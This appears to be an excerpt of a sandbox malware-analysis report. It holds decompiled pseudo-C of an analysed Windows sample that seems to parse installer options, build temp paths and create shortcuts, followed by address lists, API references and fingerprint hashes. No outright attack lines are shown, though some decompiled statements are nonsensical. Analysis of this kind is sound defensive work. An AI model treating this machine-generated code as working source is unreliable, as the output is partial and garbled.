										__edi = __edi + 4;
										__ebx = 0;
										__eflags =  *__edi - __bx;
										if( *__edi == __bx) {
											goto L162;
										} else {
											__ebp - 0x103c = E0024FD96(__ebp - 0x103c, __edi, 0x800);
											goto L63;
										}
									}
								case 4:
									L68:
									__eflags =  *0x28946c - 1;
									__eflags = __eax - 0x28946c;
									 *__edi =  *__edi + __ecx;
									__eflags =  *(__ebx + 6) & __bl;
									 *__eax =  *__eax + __al;
									__eflags =  *__eax;
								case 5:
									L73:
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__ecx = 0;
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__eflags = __eax;
									if(__eax == 0) {
										L80:
										 *0x287442 = __cl;
										 *0x287443 = 1;
										goto L162;
									}
									L74:
									__eax = __eax - 0x30;
									__eflags = __eax;
									if(__eax == 0) {
										L78:
										 *0x287442 = __cl;
										L79:
										 *0x287443 = __cl;
										goto L162;
									}
									L75:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax == 0) {
										goto L80;
									}
									L76:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax != 0) {
										goto L162;
									}
									L77:
									 *0x287442 = 1;
									goto L79;
								case 6:
									L86:
									__eflags = __ebx - 4;
									if(__ebx != 4) {
										goto L90;
									}
									L87:
									__eax = __ebp - 0x5c84;
									__eax = E00263429(__ebp - 0x5c84, __eax, L"<>");
									_pop(__ecx);
									_pop(__ecx);
									__eflags = __eax;
									if(__eax == 0) {
										goto L90;
									}
									L88:
									_push(__edi);
									goto L89;
								case 7:
									goto L0;
								case 8:
									L114:
									__eflags = __ebx - 3;
									if(__ebx == 3) {
										__eflags =  *(__ebp - 0x5c84) - __di;
										if(__eflags != 0) {
											__eax = __ebp - 0x5c84;
											_push(__ebp - 0x5c84);
											__eax = E00266F4C(__ebx, __edi);
											_pop(__ecx);
											 *0x29dc8c = __eax;
										}
										__eax = __ebp + 0xc;
										_push(__ebp + 0xc);
										 *0x29dc88 = E0025AAEA(__ecx, __edx, __eflags);
									}
									 *0x295b73 = 1;
									goto L162;
								case 9:
									L119:
									__eflags = __ebx - 5;
									if(__ebx != 5) {
										L90:
										 *0x29dc90 = 1;
										goto L162;
									}
									L120:
									_push(1);
									L89:
									__eax = __ebp - 0x5c84;
									_push(__ebp - 0x5c84);
									_push( *(__ebp + 8));
									__eax = E0025CC9F(__ebp);
									goto L90;
								case 0xa:
									L121:
									__eflags = __ebx - 6;
									if(__ebx != 6) {
										goto L162;
									}
									L122:
									__eax = 0;
									 *(__ebp - 0x2c3c) = __ax;
									__eax =  *(__ebp - 0x1bc8c) & 0x0000ffff;
									__eax = E00266280( *(__ebp - 0x1bc8c) & 0x0000ffff);
									_push(0x800);
									__eflags = __eax - 0x50;
									if(__eax == 0x50) {
										_push(0x29ab7a);
										__eax = __ebp - 0x2c3c;
										_push(__ebp - 0x2c3c);
										__eax = E0024FD96();
										 *(__ebp - 0x14) = 2;
									} else {
										__eflags = __eax - 0x54;
										__eax = __ebp - 0x2c3c;
										if(__eflags == 0) {
											_push(0x299b7a);
											_push(__eax);
											__eax = E0024FD96();
											 *(__ebp - 0x14) = 7;
										} else {
											_push(0x29bb7a);
											_push(__eax);
											__eax = E0024FD96();
											 *(__ebp - 0x14) = 0x10;
										}
									}
									__eax = 0;
									 *(__ebp - 0x9c8c) = __ax;
									 *(__ebp - 0x1c3c) = __ax;
									__ebp - 0x19c8c = __ebp - 0x6c84;
									__eax = E00265646(__ebp - 0x6c84, __ebp - 0x19c8c);
									_pop(__ecx);
									_pop(__ecx);
									_push(0x22);
									_pop(__ebx);
									__eflags =  *(__ebp - 0x6c84) - __bx;
									if( *(__ebp - 0x6c84) != __bx) {
										L130:
										__ebp - 0x6c84 = E0024A0C0(__ebp - 0x6c84);
										__eflags = __al;
										if(__al != 0) {
											goto L147;
										}
										L131:
										__ebx = __edi;
										__esi = __ebp - 0x6c84;
										__eflags =  *(__ebp - 0x6c84) - __bx;
										if( *(__ebp - 0x6c84) == __bx) {
											goto L147;
										}
										L132:
										_push(0x20);
										_pop(__ecx);
										do {
											L133:
											__eax = __esi->i & 0x0000ffff;
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												L135:
												__edi = __eax;
												__eax = 0;
												__esi->i = __ax;
												__ebp - 0x6c84 = E0024A0C0(__ebp - 0x6c84);
												__eflags = __al;
												if(__al == 0) {
													L142:
													__esi->i = __di;
													L143:
													_push(0x20);
													_pop(__ecx);
													__edi = 0;
													__eflags = 0;
													goto L144;
												}
												L136:
												_push(0x2f);
												_pop(__eax);
												__ebx = __esi;
												__eflags = __di - __ax;
												if(__di != __ax) {
													L138:
													_push(0x20);
													_pop(__eax);
													do {
														L139:
														__esi =  &(__esi->i);
														__eflags = __esi->i - __ax;
													} while (__esi->i == __ax);
													_push(__esi);
													__eax = __ebp - 0x1c3c;
													L141:
													_push(__eax);
													__eax = E00265646();
													_pop(__ecx);
													_pop(__ecx);
													 *__ebx = __di;
													goto L143;
												}
												L137:
												 *(__ebp - 0x1c3c) = __ax;
												__eax =  &(__esi->i);
												_push( &(__esi->i));
												__eax = __ebp - 0x1c3a;
												goto L141;
											}
											L134:
											_push(0x2f);
											_pop(__edx);
											__eflags = __ax - __dx;
											if(__ax != __dx) {
												goto L144;
											}
											goto L135;
											L144:
											__esi =  &(__esi->i);
											__eflags = __esi->i - __di;
										} while (__esi->i != __di);
										__eflags = __ebx;
										if(__ebx != 0) {
											__eax = 0;
											__eflags = 0;
											 *__ebx = __ax;
										}
										goto L147;
									} else {
										L128:
										__ebp - 0x19c8a = __ebp - 0x6c84;
										E00265646(__ebp - 0x6c84, __ebp - 0x19c8a) = __ebp - 0x6c82;
										_push(__ebx);
										_push(__ebp - 0x6c82);
										__eax = E00261438(__ecx);
										__esp = __esp + 0x10;
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = 0;
											 *__eax = __cx;
											__ebp - 0x1c3c = E00265646(__ebp - 0x1c3c, __ebp - 0x1c3c);
											_pop(__ecx);
											_pop(__ecx);
										}
										L147:
										__eflags =  *((short*)(__ebp - 0x11c8c));
										__ebx = 0x800;
										if( *((short*)(__ebp - 0x11c8c)) != 0) {
											__ebp - 0x9c8c = __ebp - 0x11c8c;
											__eax = E0024B179(__ebp - 0x11c8c, __ebp - 0x9c8c, 0x800);
										}
										__ebp - 0xbc8c = __ebp - 0x6c84;
										__eax = E0024B179(__ebp - 0x6c84, __ebp - 0xbc8c, __ebx);
										__eflags =  *(__ebp - 0x2c3c);
										if(__eflags == 0) {
											__ebp - 0x2c3c = E0025AA7E(__ecx, __ebp - 0x2c3c,  *(__ebp - 0x14));
										}
										__ebp - 0x2c3c = E0024B147(__eflags, __ebp - 0x2c3c, __ebx);
										__eflags =  *((short*)(__ebp - 0x17c8c));
										if(__eflags != 0) {
											__ebp - 0x17c8c = __ebp - 0x2c3c;
											E0024FD6E(__eflags, __ebp - 0x2c3c, __ebp - 0x17c8c, __ebx) = __ebp - 0x2c3c;
											__eax = E0024B147(__eflags, __ebp - 0x2c3c, __ebx);
										}
										__ebp - 0x2c3c = __ebp - 0xcc8c;
										__eax = E00265646(__ebp - 0xcc8c, __ebp - 0x2c3c);
										__eflags =  *(__ebp - 0x13c8c);
										__eax = __ebp - 0x13c8c;
										_pop(__ecx);
										_pop(__ecx);
										if(__eflags == 0) {
											__eax = __ebp - 0x19c8c;
										}
										__ebp - 0x2c3c = E0024FD6E(__eflags, __ebp - 0x2c3c, __ebp - 0x2c3c, __ebx);
										__eax = __ebp - 0x2c3c;
										__eflags = E0024B3D3(__ebp - 0x2c3c);
										if(__eflags == 0) {
											L157:
											__ebp - 0x2c3c = E0024FD6E(__eflags, __ebp - 0x2c3c, L".lnk", __ebx);
											goto L158;
										} else {
											L156:
											__eflags = __eax;
											if(__eflags == 0) {
												L158:
												_push(1);
												__eax = __ebp - 0x2c3c;
												_push(__ebp - 0x2c3c);
												E00249F8F(__ecx, __ebp) = __ebp - 0xbc8c;
												__ebp - 0xac8c = E00265646(__ebp - 0xac8c, __ebp - 0xbc8c);
												_pop(__ecx);
												_pop(__ecx);
												__ebp - 0xac8c = E0024BC0F(__eflags, __ebp - 0xac8c);
												__ecx =  *(__ebp - 0x1c3c) & 0x0000ffff;
												__eax = __ebp - 0x1c3c;
												__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff);
												__edx = __ebp - 0x9c8c;
												__esi = __ebp - 0xac8c;
												asm("sbb ecx, ecx");
												__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c;
												 *(__ebp - 0x9c8c) & 0x0000ffff =  ~( *(__ebp - 0x9c8c) & 0x0000ffff);
												asm("sbb eax, eax");
												__eax =  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c;
												 *(__ebp - 0xac8c) & 0x0000ffff =  ~( *(__ebp - 0xac8c) & 0x0000ffff);
												__eax = __ebp - 0x15c8c;
												asm("sbb edx, edx");
												__edx =  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi;
												E0025A564(__ebp - 0x15c8c) = __ebp - 0x2c3c;
												__ebp - 0xbc8c = E00259B4C(__ecx, __edi, __ebp - 0xbc8c, __ebp - 0x2c3c,  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi, __ebp - 0xbc8c,  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c,  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c);
												__eflags =  *(__ebp - 0xcc8c);
												if( *(__ebp - 0xcc8c) != 0) {
													_push(__edi);
													__eax = __ebp - 0xcc8c;
													_push(__ebp - 0xcc8c);
													_push(5);
													_push(0x1000);
													__eax =  *0x2a1078();
												}
												goto L162;
											}
											goto L157;
										}
									}
								case 0xb:
									L160:
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										 *0x289470 = 1;
									}
									goto L162;
								case 0xc:
									L81:
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__eax = E00266280( *(__ebp - 0x5c84) & 0x0000ffff);
									__eflags = __eax - 0x46;
									if(__eax == 0x46) {
										 *0x287444 = 1;
									} else {
										__eflags = __eax - 0x55;
										if(__eax == 0x55) {
											 *0x287445 = 1;
										} else {
											__eax = 0;
											 *0x287444 = __al;
											 *0x287445 = __al;
										}
									}
									goto L162;
								case 0xd:
									L91:
									 *0x29dc91 = 1;
									__eax = __eax + 0x29dc91;
									_t102 = __esi + 0x39;
									 *_t102 =  *(__esi + 0x39) + __esp;
									__eflags =  *_t102;
									__ebp = 0xffffa37c;
									if( *_t102 != 0) {
										_t104 = __ebp - 0x5c84; // 0xffff46f8
										__eax = _t104;
										_push(_t104);
										 *0x27d5fc = E002516F4();
									}
									goto L162;
							}
							L2:
							_t208 = E0025A647(_t208, _t276);
							_t276 = _t276 + 0x2000;
							_t273 = _t273 - 1;
							if(_t273 != 0) {
								goto L2;
							} else {
								_t277 = _t273;
								goto L4;
							}
						}
						L163:
						 *[fs:0x0] =  *((intOrPtr*)(_t281 - 0xc));
						return _t207;
					}
					L98:
					__eflags =  *0x295b72;
					if( *0x295b72 != 0) {
						goto L162;
					}
					L99:
					__eax = 0;
					 *(__ebp - 0x143c) = __ax;
					__eax = __ebp - 0x5c84;
					_push(__ebp - 0x5c84);
					__eax = E00261438(__ecx);
					_pop(__ecx);
					__ecx = 0x2c;
					__eflags = __eax;
					if(__eax != 0) {
						L106:
						__eflags =  *(__ebp - 0x143c);
						if( *(__ebp - 0x143c) == 0) {
							__ebp - 0x1bc8c = __ebp - 0x5c84;
							E0024FD96(__ebp - 0x5c84, __ebp - 0x1bc8c, 0x1000) = __ebp - 0x19c8c;
							__ebp - 0x143c = E0024FD96(__ebp - 0x143c, __ebp - 0x19c8c, 0x200);
						}
						__ebp - 0x5c84 = E0025A472(__ebp - 0x5c84);
						__eax = 0;
						 *(__ebp - 0x4c84) = __ax;
						__ebp - 0x143c = __ebp - 0x5c84;
						__eax = E00259EB3( *(__ebp + 8), __ebp - 0x5c84, __ebp - 0x143c, 0x24);
						__eflags = __eax - 6;
						if(__eax == 6) {
							goto L162;
						} else {
							L109:
							__eax = 0;
							__eflags = 0;
							 *0x287447 = 1;
							 *0x28846a = __ax;
							__eax = EndDialog( *(__ebp + 8), 1);
							goto L110;
						}
					}
					L100:
					__esi = 0;
					__eflags =  *(__ebp - 0x5c84) - __dx;
					if( *(__ebp - 0x5c84) == __dx) {
						goto L106;
					}
					L101:
					__ecx = 0;
					__eax = __ebp - 0x5c84;
					while(1) {
						L102:
						__eflags =  *__eax - 0x40;
						if( *__eax == 0x40) {
							break;
						}
						L103:
						__esi =  &(__esi->i);
						__eax = __ebp - 0x5c84;
						__ecx = __esi + __esi;
						__eax = __ebp - 0x5c84 + __ecx;
						__eflags =  *__eax - __dx;
						if( *__eax != __dx) {
							continue;
						}
						L104:
						goto L106;
					}
					L105:
					__ebp - 0x5c82 = __ebp - 0x5c82 + __ecx;
					__ebp - 0x143c = E0024FD96(__ebp - 0x143c, __ebp - 0x5c82 + __ecx, 0x200);
					__eax = 0;
					__eflags = 0;
					 *(__ebp + __esi * 2 - 0x5c84) = __ax;
					goto L106;
					L110:
					__eflags = _t259 - 7;
					if(_t259 == 7) {
						__eflags =  *0x28946c;
						if( *0x28946c == 0) {
							 *0x28946c = 2;
						}
						 *0x288468 = 1;
					}
					goto L162;
				}
			}

0x0025c3ab
0x0025c3ab
0x0025c3ab
0x0025c3ab
0x0025c3ae
0x00000000
0x00000000
0x0025c3b4
0x0025c3b4
0x0025c3ba
0x0025c3c8
0x0025c3d4
0x0025c3d6
0x0025c3d8
0x0025c3dd
0x0025c3dd
0x0025c3dd
0x0025c3f5
0x0025c402
0x0025c407
0x0025c409
0x00000000
0x00000000
0x0025c3db
0x0025c3db
0x0025c3db
0x0025c3dc
0x0025c3dc
0x0025c40b
0x0025c415
0x0025c41b
0x0025c423
0x0025c8e3
0x0025c8e3
0x0025c8e3
0x0025c8e8
0x0025c8ec
0x0025c8f0
0x0025c8f7
0x0025c8fe
0x0025c901
0x0025c906
0x0025c909
0x0025c90e
0x0025bd8b
0x0025bd91
0x0025bd97
0x0025bd97
0x00000000
0x00000000
0x00000000
0x00000000
0x0025bdac
0x0025bdc3
0x0025bdc7
0x00000000
0x0025bdc9
0x00000000
0x0025bdc9
0x0025bdc7
0x0025bdce
0x0025bdd1
0x00000000
0x00000000
0x0025bdd7
0x0025bdd7
0x00000000
0x0025bdde
0x0025bdde
0x0025bde1
0x0025bdf4
0x0025be1a
0x0025be2e
0x0025be31
0x0025be3c
0x0025bf80
0x0025bf80
0x0025bf80
0x0025bf88
0x0025bf8e
0x0025bf93
0x0025bf95
0x00000000
0x00000000
0x0025be46
0x0025be4e
0x0025be54
0x0025be5a
0x0025bf00
0x0025bf07
0x0025bf0d
0x0025bf10
0x00000000
0x00000000
0x0025bf12
0x0025bf19
0x0025bf1f
0x0025bf21
0x00000000
0x0025bf23
0x0025bf23
0x0025bf25
0x0025bf26
0x0025bf2a
0x0025bf3e
0x0025bf43
0x0025bf4d
0x0025bf53
0x0025bf56
0x0025bf28
0x0025bf28
0x0025bf29
0x00000000
0x0025bf58
0x0025bf66
0x0025bf6c
0x0025bf6e
0x0025bf7a
0x0025bf7a
0x00000000
0x0025bf6e
0x0025bf56
0x0025bf21
0x0025be60
0x0025be6f
0x0025be7c
0x0025be8d
0x0025be90
0x0025be93
0x0025bea6
0x0025bead
0x0025beb2
0x0025beb4
0x00000000
0x00000000
0x0025beba
0x0025bec1
0x0025bec6
0x0025becb
0x0025bed7
0x0025bedc
0x0025bedf
0x0025bee6
0x0025bee8
0x0025bee9
0x0025bef3
0x0025bef9
0x0025befa
0x00000000
0x0025befa
0x0025be95
0x0025be9c
0x0025bea2
0x0025bea4
0x00000000
0x00000000
0x00000000
0x0025bea4
0x0025bf9b
0x0025bf9b
0x0025bfa5
0x0025bfa5
0x00000000
0x00000000
0x0025bfaf
0x0025bfaf
0x0025bfb1
0x0025c004
0x0025c009
0x0025c012
0x0025c013
0x0025c019
0x0025c01e
0x0025c021
0x0025c023
0x0025c025
0x0025c02a
0x0025c02c
0x0025c02e
0x0025c02e
0x0025c030
0x0025c030
0x0025c035
0x0025c03a
0x0025c03b
0x0025c03b
0x0025c03c
0x0025c03e
0x0025c045
0x0025c04a
0x0025c03e
0x00000000
0x00000000
0x0025c050
0x0025c050
0x0025c052
0x0025c062
0x0025c062
0x00000000
0x00000000
0x0025c06d
0x0025c06d
0x0025c06f
0x00000000
0x00000000
0x0025c075
0x0025c075
0x0025c07c
0x00000000
0x00000000
0x0025c082
0x0025c082
0x0025c084
0x0025c08a
0x0025c08c
0x0025c093
0x0025c094
0x0025c09b
0x0025c09d
0x0025c09d
0x0025c0a4
0x0025c0a9
0x0025c0af
0x0025c0b1
0x00000000
0x0025c0b7
0x0025c0b7
0x0025c0b7
0x0025c0ba
0x0025c0bc
0x0025c0bd
0x0025c0c0
0x0025c0e9
0x0025c0e9
0x0025c0ec
0x0025c1d1
0x0025c1da
0x0025c1df
0x0025c1df
0x0025c1e1
0x0025c1e1
0x0025c1e3
0x0025c1e5
0x0025c1ec
0x0025c1f1
0x0025c1f2
0x0025c1f3
0x0025c1f5
0x0025c1f7
0x0025c1fb
0x0025c1fd
0x0025c1fd
0x0025c1ff
0x0025c1ff
0x0025c1fb
0x0025c203
0x0025c209
0x0025c216
0x0025c21d
0x0025c22d
0x0025c237
0x0025c245
0x0025c24b
0x0025c253
0x0025c258
0x0025c259
0x0025c25a
0x0025c25c
0x0025c270
0x0025c270
0x00000000
0x0025c25c
0x0025c0f2
0x0025c0f2
0x0025c0f5
0x0025c102
0x0025c102
0x0025c105
0x0025c107
0x0025c108
0x0025c10a
0x0025c10b
0x0025c110
0x0025c115
0x0025c11b
0x0025c11d
0x0025c11f
0x0025c122
0x0025c129
0x0025c12a
0x0025c130
0x0025c131
0x0025c134
0x0025c135
0x0025c136
0x0025c13b
0x0025c13e
0x0025c144
0x0025c14d
0x0025c150
0x0025c155
0x0025c157
0x0025c159
0x0025c15b
0x0025c15b
0x0025c15d
0x0025c15d
0x0025c15f
0x0025c15f
0x0025c167
0x0025c16e
0x0025c170
0x0025c177
0x0025c17d
0x0025c17f
0x0025c180
0x0025c188
0x0025c197
0x0025c197
0x0025c188
0x0025c1a2
0x0025c1a4
0x0025c1b3
0x0025c1b9
0x0025c1bf
0x0025c1ca
0x0025c1ca
0x00000000
0x0025c1bf
0x0025c0f7
0x0025c0f7
0x0025c0fc
0x00000000
0x00000000
0x00000000
0x0025c0fc
0x0025c0c2
0x0025c0c2
0x0025c0c6
0x00000000
0x00000000
0x0025c0c8
0x0025c0c8
0x0025c0cb
0x0025c0cd
0x0025c0d0
0x00000000
0x0025c0d6
0x0025c0df
0x00000000
0x0025c0df
0x0025c0d0
0x00000000
0x0025c27b
0x0025c27b
0x0025c27c
0x0025c281
0x0025c283
0x0025c286
0x0025c286
0x00000000
0x0025c2bc
0x0025c2bc
0x0025c2c3
0x0025c2c5
0x0025c2c5
0x0025c2c7
0x0025c2f6
0x0025c2f6
0x0025c2fc
0x00000000
0x0025c2fc
0x0025c2c9
0x0025c2c9
0x0025c2c9
0x0025c2cc
0x0025c2e5
0x0025c2e5
0x0025c2eb
0x0025c2eb
0x00000000
0x0025c2eb
0x0025c2ce
0x0025c2ce
0x0025c2ce
0x0025c2d1
0x00000000
0x00000000
0x0025c2d3
0x0025c2d3
0x0025c2d3
0x0025c2d6
0x00000000
0x00000000
0x0025c2dc
0x0025c2dc
0x00000000
0x00000000
0x0025c349
0x0025c349
0x0025c34c
0x00000000
0x00000000
0x0025c34e
0x0025c34e
0x0025c35a
0x0025c35f
0x0025c360
0x0025c361
0x0025c363
0x00000000
0x00000000
0x0025c365
0x0025c365
0x00000000
0x00000000
0x00000000
0x00000000
0x0025c557
0x0025c557
0x0025c55a
0x0025c55c
0x0025c563
0x0025c565
0x0025c56b
0x0025c56c
0x0025c571
0x0025c572
0x0025c572
0x0025c577
0x0025c57a
0x0025c580
0x0025c580
0x0025c585
0x00000000
0x00000000
0x0025c591
0x0025c591
0x0025c594
0x0025c375
0x0025c375
0x00000000
0x0025c375
0x0025c59a
0x0025c59a
0x0025c366
0x0025c366
0x0025c36c
0x0025c36d
0x0025c370
0x00000000
0x00000000
0x0025c5a1
0x0025c5a1
0x0025c5a4
0x00000000
0x00000000
0x0025c5aa
0x0025c5aa
0x0025c5ac
0x0025c5b3
0x0025c5bb
0x0025c5c1
0x0025c5c6
0x0025c5c9
0x0025c5fe
0x0025c603
0x0025c609
0x0025c60a
0x0025c60f
0x0025c5cb
0x0025c5cb
0x0025c5ce
0x0025c5d4
0x0025c5ea
0x0025c5ef
0x0025c5f0
0x0025c5f5
0x0025c5d6
0x0025c5d6
0x0025c5db
0x0025c5dc
0x0025c5e1
0x0025c5e1
0x0025c5d4
0x0025c616
0x0025c618
0x0025c61f
0x0025c62d
0x0025c634
0x0025c639
0x0025c63a
0x0025c63b
0x0025c63d
0x0025c63e
0x0025c645
0x0025c68e
0x0025c695
0x0025c69a
0x0025c69c
0x00000000
0x00000000
0x0025c6a2
0x0025c6a2
0x0025c6a4
0x0025c6aa
0x0025c6b1
0x00000000
0x00000000
0x0025c6b3
0x0025c6b3
0x0025c6b5
0x0025c6b6
0x0025c6b6
0x0025c6b6
0x0025c6b9
0x0025c6bc
0x0025c6c6
0x0025c6c6
0x0025c6c8
0x0025c6ca
0x0025c6d4
0x0025c6d9
0x0025c6db
0x0025c719
0x0025c719
0x0025c71c
0x0025c71c
0x0025c71e
0x0025c71f
0x0025c71f
0x00000000
0x0025c71f
0x0025c6dd
0x0025c6dd
0x0025c6df
0x0025c6e0
0x0025c6e2
0x0025c6e5
0x0025c6fa
0x0025c6fa
0x0025c6fc
0x0025c6fd
0x0025c6fd
0x0025c6fd
0x0025c700
0x0025c700
0x0025c705
0x0025c706
0x0025c70c
0x0025c70c
0x0025c70d
0x0025c712
0x0025c713
0x0025c714
0x00000000
0x0025c714
0x0025c6e7
0x0025c6e7
0x0025c6ee
0x0025c6f1
0x0025c6f2
0x00000000
0x0025c6f2
0x0025c6be
0x0025c6be
0x0025c6c0
0x0025c6c1
0x0025c6c4
0x00000000
0x00000000
0x00000000
0x0025c721
0x0025c721
0x0025c724
0x0025c724
0x0025c729
0x0025c72b
0x0025c72d
0x0025c72d
0x0025c72f
0x0025c72f
0x00000000
0x0025c647
0x0025c647
0x0025c64e
0x0025c65a
0x0025c660
0x0025c661
0x0025c662
0x0025c667
0x0025c66a
0x0025c66c
0x0025c672
0x0025c674
0x0025c682
0x0025c687
0x0025c688
0x0025c688
0x0025c732
0x0025c732
0x0025c73a
0x0025c73f
0x0025c749
0x0025c750
0x0025c750
0x0025c75d
0x0025c764
0x0025c769
0x0025c771
0x0025c77d
0x0025c77d
0x0025c78a
0x0025c78f
0x0025c797
0x0025c7a1
0x0025c7ae
0x0025c7b5
0x0025c7b5
0x0025c7c1
0x0025c7c8
0x0025c7cd
0x0025c7d5
0x0025c7db
0x0025c7dc
0x0025c7dd
0x0025c7df
0x0025c7df
0x0025c7f4
0x0025c7f9
0x0025c805
0x0025c807
0x0025c818
0x0025c825
0x00000000
0x0025c809
0x0025c809
0x0025c814
0x0025c816
0x0025c82a
0x0025c82a
0x0025c82c
0x0025c832
0x0025c838
0x0025c846
0x0025c84b
0x0025c84c
0x0025c854
0x0025c859
0x0025c860
0x0025c866
0x0025c868
0x0025c86e
0x0025c874
0x0025c876
0x0025c87f
0x0025c882
0x0025c884
0x0025c88d
0x0025c890
0x0025c896
0x0025c899
0x0025c8a2
0x0025c8b1
0x0025c8b6
0x0025c8be
0x0025c8c0
0x0025c8c1
0x0025c8c7
0x0025c8c8
0x0025c8ca
0x0025c8cf
0x0025c8cf
0x00000000
0x0025c8be
0x00000000
0x0025c816
0x0025c807
0x00000000
0x0025c8d7
0x0025c8d7
0x0025c8da
0x0025c8dc
0x0025c8dc
0x00000000
0x00000000
0x0025c308
0x0025c308
0x0025c310
0x0025c316
0x0025c319
0x0025c33d
0x0025c31b
0x0025c31b
0x0025c31e
0x0025c331
0x0025c320
0x0025c320
0x0025c322
0x0025c327
0x0025c327
0x0025c31e
0x00000000
0x00000000
0x0025c381
0x0025c381
0x0025c382
0x0025c387
0x0025c387
0x0025c387
0x0025c38a
0x0025c38f
0x0025c395
0x0025c395
0x0025c39b
0x0025c3a1
0x0025c3a1
0x00000000
0x00000000
0x0025bd98
0x0025bd9a
0x0025bd9f
0x0025bda5
0x0025bda8
0x00000000
0x0025bdaa
0x0025bdaa
0x00000000
0x0025bdaa
0x0025bda8
0x0025c914
0x0025c91a
0x0025c924
0x0025c924
0x0025c429
0x0025c429
0x0025c430
0x00000000
0x00000000
0x0025c436
0x0025c436
0x0025c438
0x0025c43f
0x0025c447
0x0025c448
0x0025c44d
0x0025c44e
0x0025c44f
0x0025c451
0x0025c4a5
0x0025c4a5
0x0025c4ad
0x0025c4bb
0x0025c4cc
0x0025c4da
0x0025c4da
0x0025c4e6
0x0025c4eb
0x0025c4ed
0x0025c4fd
0x0025c507
0x0025c50c
0x0025c50f
0x00000000
0x0025c515
0x0025c515
0x0025c51a
0x0025c51a
0x0025c51c
0x0025c523
0x0025c529
0x00000000
0x0025c529
0x0025c50f
0x0025c453
0x0025c455
0x0025c457
0x0025c45e
0x00000000
0x00000000
0x0025c460
0x0025c460
0x0025c462
0x0025c468
0x0025c468
0x0025c468
0x0025c46c
0x00000000
0x00000000
0x0025c46e
0x0025c46e
0x0025c46f
0x0025c475
0x0025c478
0x0025c47a
0x0025c47d
0x00000000
0x00000000
0x0025c47f
0x00000000
0x0025c47f
0x0025c481
0x0025c48c
0x0025c496
0x0025c49b
0x0025c49b
0x0025c49d
0x00000000
0x0025c52f
0x0025c52f
0x0025c532
0x0025c538
0x0025c53f
0x0025c541
0x0025c541
0x0025c54b
0x0025c54b
0x00000000
0x0025c532

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 0025C3C1
_swprintf.LIBCMT ref: 0025C3F5

Part of subcall function 00243FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00243FE9

SetDlgItemTextW.USER32(?,00000066,0028846A), ref: 0025C415
_wcschr.LIBVCRUNTIME ref: 0025C448
EndDialog.USER32(?,00000001), ref: 0025C529

Strings

%s%s%u, xrefs: 0025C3EA

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: d69b5287f80d595891b29e26a482da35e89deed44fbab6f97bd86f2198feb8c6
Instruction ID: 0efc2181adadf51009f995fa484e6855d8f77722a6b72727a8bd2c1b26ef94e9
Opcode Fuzzy Hash: d69b5287f80d595891b29e26a482da35e89deed44fbab6f97bd86f2198feb8c6
Instruction Fuzzy Hash: 0A418375920319AEEF25DF60DD85EEE77BCEB04305F5040A6F908E6051EF709A988F54

Uniqueness

Uniqueness Score: -1.00%

Function 00258DB2 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 125
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00258DB2(void* __ecx, void* __edx) {
				void* _t20;
				short* _t24;
				void* _t28;
				signed int _t29;
				intOrPtr _t31;
				intOrPtr* _t38;
				void* _t44;
				void* _t60;
				intOrPtr* _t62;
				short* _t64;
				short* _t66;
				intOrPtr* _t70;
				long _t72;
				void* _t74;
				void* _t75;

				_t60 = __edx;
				_t45 = __ecx;
				_t44 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					return _t20;
				}
				 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
				_t62 =  *((intOrPtr*)(_t74 + 0x1c));
				 *((char*)(_t74 + 0x13)) = E00258C5A(_t62);
				_push(0x200 + E002633F3(_t62) * 2);
				_t24 = E00263413(_t45);
				_t66 = _t24;
				if(_t66 == 0) {
					L16:
					return _t24;
				}
				E00265646(_t66, L"<html>");
				E00266FAD(_t66, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E00266FAD(_t66, L"utf-8\"></head>");
				_t75 = _t74 + 0x18;
				_t70 = _t62;
				_t28 = 0x20;
				if( *_t62 != _t28) {
					L4:
					_t29 = E0025172A(_t79, _t70, L"<html>", 6);
					asm("sbb al, al");
					_t31 =  ~_t29 + 1;
					 *((intOrPtr*)(_t75 + 0x18)) = _t31;
					if(_t31 != 0) {
						_t62 = _t70 + 0xc;
					}
					E00266FAD(_t66, _t62);
					if( *((char*)(_t75 + 0x20)) == 0) {
						E00266FAD(_t66, L"</html>");
					}
					_t82 =  *((char*)(_t75 + 0x13));
					if( *((char*)(_t75 + 0x13)) == 0) {
